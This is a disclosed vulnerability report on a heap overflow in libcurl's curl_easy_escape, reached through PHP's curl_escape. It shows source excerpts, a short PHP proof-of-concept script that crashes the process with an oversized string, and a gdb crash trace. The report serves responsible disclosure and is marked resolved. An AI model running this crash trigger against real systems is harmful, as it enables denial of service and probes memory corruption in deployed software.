Heap overflow in curl_escape

Disclosed: 2019-11-12 09:31:33 By hoangnguyen To ibb
Unknown
Vulnerability Details
I have founded a code block that leads to heap overflow. As you can see at : ``` PHP_FUNCTION(curl_escape) { char *str = NULL, *res = NULL; size_t str_len = 0; zval *zid; php_curl *ch; *** SNIP *** if ((res = curl_easy_escape(ch->cp, str, str_len))) { RETVAL_STRING(res); curl_free(res); } else { RETURN_FALSE; } *** SNIP *** } ``` I do some analysis with curl_easy_escape in libcurl and here the source code : ``` char *curl_easy_escape(CURL *handle, const char *string, int inlength) { size_t alloc = (inlength?(size_t)inlength:strlen(string))+1; char *ns; char *testing_ptr = NULL; *** SNIP *** ns = malloc(alloc); if(!ns) return NULL; length = alloc-1; while(length--) { in = *string; if (Curl_isalnum(in)) { /* just copy this */ ns[strindex++]=in; *** SNIP *** ``` Here you see that alloc is calculated by adding inlength with one. If we pass a string with length 0xfffffff in curl_escape and the alloc add it with 1 and the result of alloc is 0. After that, the malloc a buffer with size 0 and length = 0 - 1 = -1 = 0xfffffff this leads to heap overflow Test script: --------------- <?php ini_set('memory_limit',-1); $ch = curl_init('http://google.com'); curl_escape($ch,str_repeat("A",0xffffffff)); ?> ``` Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x7ffff67ce508 (<curl_easy_escape+120>: mov BYTE PTR [r14+r13*1],cl) RBX: 0x0 RCX: 0x41 ('A') RDX: 0x14 RSI: 0x7ffff67a2b20 --> 0x100000000 RDI: 0x0 RBP: 0x7ffff67ff8ec --> 0xfffcec1cfffcec1c RSP: 0x7fffffffa720 --> 0x148fd80 ('A' <repeats 200 times>...) RIP: 0x7ffff67ce508 (<curl_easy_escape+120>: mov BYTE PTR [r14+r13*1],cl) R8 : 0x7fffffffa5b8 --> 0x0 R9 : 0x7fffffffa5b4 --> 0x0 R10: 0x14773e0 --> 0x79746974 ('tity') R11: 0x7ffff67ce490 (<curl_easy_escape>: push r15) R12: 0x0 R13: 0x38c10 R14: 0x14773f0 ('A' <repeats 200 times>...) R15: 0x7ffeef038c28 ('A' <repeats 200 times>...) EFLAGS: 0x10213 (CARRY parity ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7ffff67ce4fc <curl_easy_escape+108>: add rax,rbp 0x7ffff67ce4ff <curl_easy_escape+111>: jmp rax 0x7ffff67ce501 <curl_easy_escape+113>: nop DWORD PTR [rax+0x0] => 0x7ffff67ce508 <curl_easy_escape+120>: mov BYTE PTR [r14+r13*1],cl 0x7ffff67ce50c <curl_easy_escape+124>: add r13,0x1 0x7ffff67ce510 <curl_easy_escape+128>: mov rax,QWORD PTR [rsp+0x10] 0x7ffff67ce515 <curl_easy_escape+133>: add r15,0x1 0x7ffff67ce519 <curl_easy_escape+137>: sub rax,r15 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffa720 --> 0x148fd80 ('A' <repeats 200 times>...) 0008| 0x7fffffffa728 --> 0x7ffeef000018 ('A' <repeats 200 times>...) 0016| 0x7fffffffa730 --> 0xffffffffffffffff 0024| 0x7fffffffa738 --> 0x7ffeef000018 ('A' <repeats 200 times>...) 0032| 0x7fffffffa740 --> 0x148fd80 ('A' <repeats 200 times>...) 0040| 0x7fffffffa748 --> 0x0 0048| 0x7fffffffa750 --> 0x7fffffffa7e0 --> 0x7fffffffa810 --> 0x7fffffffa840 --> 0x7fffffffa880 --> 0x7fffffffa990 --> 0x7fffffffcc90 --> 0x7fffffffe010 --> 0x7fffffffe160 --> 0xa28260 (<__libc_csu_init>: push r15) 0056| 0x7fffffffa758 --> 0x42cb20 (<_start>: xor ebp,ebp) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00007ffff67ce508 in curl_easy_escape () from /usr/lib/x86_64-linux-gnu/libcurl.so.4 gdb-peda$ bt #0 0x00007ffff67ce508 in curl_easy_escape () from /usr/lib/x86_64-linux-gnu/libcurl.so.4 #1 0x00000000005ff72c in zif_curl_escape (execute_data=0x7fffef614110, return_value=0x7fffef614100) at /home/hoangnguyen/Data/Build/audit/php-7.0.7/ext/curl/interface.c:3571 ``` Bug here : https://bugs.php.net/bug.php?id=72674
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  • Report ID: 160295
  • State: Closed
  • Substate: resolved
  • Upvotes: 2
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